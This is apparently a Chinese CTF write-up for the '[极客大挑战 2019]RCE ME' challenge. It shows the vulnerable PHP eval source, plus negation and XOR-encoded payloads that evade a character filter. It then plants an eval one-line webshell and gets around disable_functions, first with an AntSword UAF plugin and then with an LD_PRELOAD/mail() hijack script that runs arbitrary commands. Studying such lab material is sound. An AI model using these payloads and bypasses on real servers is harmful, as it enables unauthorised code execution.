绕过disable_functions

题目来源:[极客大挑战 2019]RCE ME 1

网址:https://buuoj.cn/challenges#[%E6%9E%81%E5%AE%A2%E5%A4%A7%E6%8C%91%E6%88%98%202019]RCE%20ME

题目源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
error_reporting(0);
if(isset($_GET['code'])){
$code=$_GET['code'];
if(strlen($code)>40){
die("This is too Long.");
}
if(preg_match("/[A-Za-z0-9]+/",$code)){
die("NO.");
}
@eval($code);
}
else{
highlight_file(__FILE__);
}
?>

过滤了大小写字母和数字,并且对长度进行限制,不能大于40,进行取反绕过

将 PHP 代码 URL 编码后取反,传入参数后服务端进行 URL 解码,这时由于取反后,会 URL 解码成不可打印字符,从而可以绕过,在用的时候在前面加一个~即可得到原本的命令

先查看phpinfo

1
2
3
4
5
6
7
<?php
$a = "phpinfo";
echo "(~" . urlencode(~$a) . ")();";
?>


(~%8F%97%8F%96%91%99%90)();
1
?code=(~%8F%97%8F%96%91%99%90)();

image-20250613104752390

没有flag,查看过滤函数disable_functions

image-20250613104901156

禁用了如下函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
pcntl_alarm
pcntl_fork,
pcntl_waitpid,
pcntl_wait,
pcntl_wifexited,
pcntl_wifstopped,
pcntl_wifsignaled,
pcntl_wifcontinued,
pcntl_wexitstatus,
pcntl_wtermsig,
pcntl_wstopsig,
pcntl_signal,
pcntl_signal_get_handler,
pcntl_signal_dispatch,
pcntl_get_last_error,
pcntl_strerror,
pcntl_sigprocmask,
pcntl_sigwaitinfo,
pcntl_sigtimedwait,
pcntl_exec,
pcntl_getpriority,
pcntl_setpriority,
pcntl_async_signals,
system,exec,
shell_exec,
popen,
proc_open,
passthru,
symlink,
link,
syslog,
imap_open,
ld,
dl

构造shell,利用一句话木马连蚁剑

1
assert(eval($_POST[1])); 

assert函数是直接将传入的参数当成PHP代码直接,不需要以分号结尾,但也可以加上

1
2
3
4
5
6
7
8
9
<?php
$a = 'assert';
$payload1 = urlencode(~$a);
echo $payload1."\n";
$b = '(eval($_POST[1]))';
$payload2 = urlencode(~$b);
echo $payload2."\n";
echo "(~" . $payload1 . ")" . "(~" . $payload2 . ");"
?>
1
?code=(~%9E%8C%8C%9A%8D%8B)(~%D7%9A%89%9E%93%D7%DB%A0%AF%B0%AC%AB%A4%CE%A2%D6%D6);

蚁剑连接

image-20250613110548231

因为disable_functions的存在无法直接读取flag

image-20250613110613022

法一:利用蚁剑插件绕过

在根目录下有个readflag,可以利用蚁剑的插件绕过disable_functions,然后运行readflag获取flag

image-20250613111022455

选择PHP7_GC_UAF,然后点击开始

image-20250613111043021

直接运行readflag即可

image-20250613111136466

法二:利用LD_PRELOAD绕过

通过环境变量LD_PRELOAD+mail劫持so来执行系统命令

前置知识

WP文章:https://blog.csdn.net/xia739635297/article/details/104641082?utm_medium=distribute.pc_relevant_t0.none-task-blog-2%7Edefault%7ECTRLIST%7Edefault-1.no_search_link&depth_1-utm_source=distribute.pc_relevant_t0.none-task-blog-2%7Edefault%7ECTRLIST%7Edefault-1.no_search_link

LD_PRELOAD bypass disable_functions:https://blog.csdn.net/xia739635297/article/details/104641082?utm_medium=distribute.pc_relevant_t0.none-task-blog-2%7Edefault%7ECTRLIST%7Edefault-1.no_search_link&depth_1-utm_source=distribute.pc_relevant_t0.none-task-blog-2%7Edefault%7ECTRLIST%7Edefault-1.no_search_link

LD_PRELOAD

代码在编译成程序的时候有个过程叫链接:将所引用的函数和变量链接到可执行程序中

**静态链接:**编译过程中将所有的函数库链接完毕

**动态链接:**编译过程中不进行链接操作,在程序运行时再载入函数库

静态链接和动态链接的目的都是为了载入函数库

LD_PRELOAD是与载入函数库相关的环境变量,作用就是再程序运行前优先加载指定的函数库

用LD_PRELOAD突破限制必须要把我们的共享库文件传到服务器上

使用LD_PRELOAD就是通过这个环境变量,覆盖掉正常的函数库中的函数

项目地址:https://github.com/yangyangwithgnu/bypass_disablefunc_via_LD_PRELOAD

做题

/var/tmp目录有上传文件的权限,上传exp(从git项目中下载的so和PHP文件)

image-20250613115643778

image-20250613115759071

bypass_disablefunc.php内容如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php
echo "<p> <b>example</b>: http://site.com/bypass_disablefunc.php?cmd=pwd&outpath=/tmp/xx&sopath=/var/www/bypass_disablefunc_x64.so </p>";

$cmd = $_GET["cmd"];
$out_path = $_GET["outpath"];
$evil_cmdline = $cmd . " > " . $out_path . " 2>&1";
echo "<p> <b>cmdline</b>: " . $evil_cmdline . "</p>";

putenv("EVIL_CMDLINE=" . $evil_cmdline);

$so_path = $_GET["sopath"];
putenv("LD_PRELOAD=" . $so_path);

mail("", "", "", "");

echo "<p> <b>output</b>: <br />" . nl2br(file_get_contents($out_path)) . "</p>";

unlink($out_path);
?>

对新payload进行异或绕过

1
?code=${GET}_;&=assert&_=eval($_POST['a'])

最终payload

1
?code=${%fe%fe%fe%fe^%a1%b9%bb%aa}[_](${%fe%fe%fe%fe^%a1%b9%bb%aa}[__]);&_=assert&__=include(%27/var/tmp/shell.php%27)&cmd=/readflag&outpath=/tmp/tmpfile&sopath=/var/tmp/bypass_disablefunc_x64.so

image-20250613122153022


绕过disable_functions
https://yschen20.github.io/2025/06/13/绕过disable-functions/
作者
Suzen
发布于
2025年6月13日
更新于
2025年6月13日
许可协议